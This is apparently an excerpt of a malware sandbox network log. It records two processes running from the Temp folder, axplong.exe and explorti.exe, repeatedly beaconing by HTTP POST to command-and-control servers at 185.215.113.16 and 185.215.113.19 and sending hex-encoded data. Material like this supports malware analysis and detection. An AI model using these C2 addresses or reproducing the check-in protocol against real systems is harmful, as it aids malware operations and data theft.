Jul 27, 2024 09:26:48.654746056 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:48.907598972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49829	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:47.875260115 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:48.668740988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:48.669370890 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:48.936899900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49830	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:49.018207073 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:49.794430017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:49.795157909 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:50.047329903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49831	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:49.051428080 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:49.849817991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:49.850603104 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:50.104379892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49832	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:50.157768965 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:50.912578106 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:50.913192987 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:51.161392927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49833	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:50.219269991 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:50.987010956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:50.987617970 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:51.238552094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49834	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:51.280333996 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:52.030459881 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:52.031081915 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:52.276767015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49835	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:51.358612061 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:52.105868101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:52.106631041 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:52.353754997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49836	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:52.390021086 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:53.161480904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:53.162163973 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:53.413815022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49837	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:52.686429024 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:53.428749084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:53.430953979 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:54.553970098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 09:26:54.554167032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 09:26:54.554352999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 09:26:54.556572914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49838	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:54.558459997 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:55.314063072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:55.316163063 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:55.570890903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49841	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:54.672311068 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:55.409852982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:55.410623074 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:55.657136917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49844	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:55.692966938 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:56.666095972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:56.666258097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
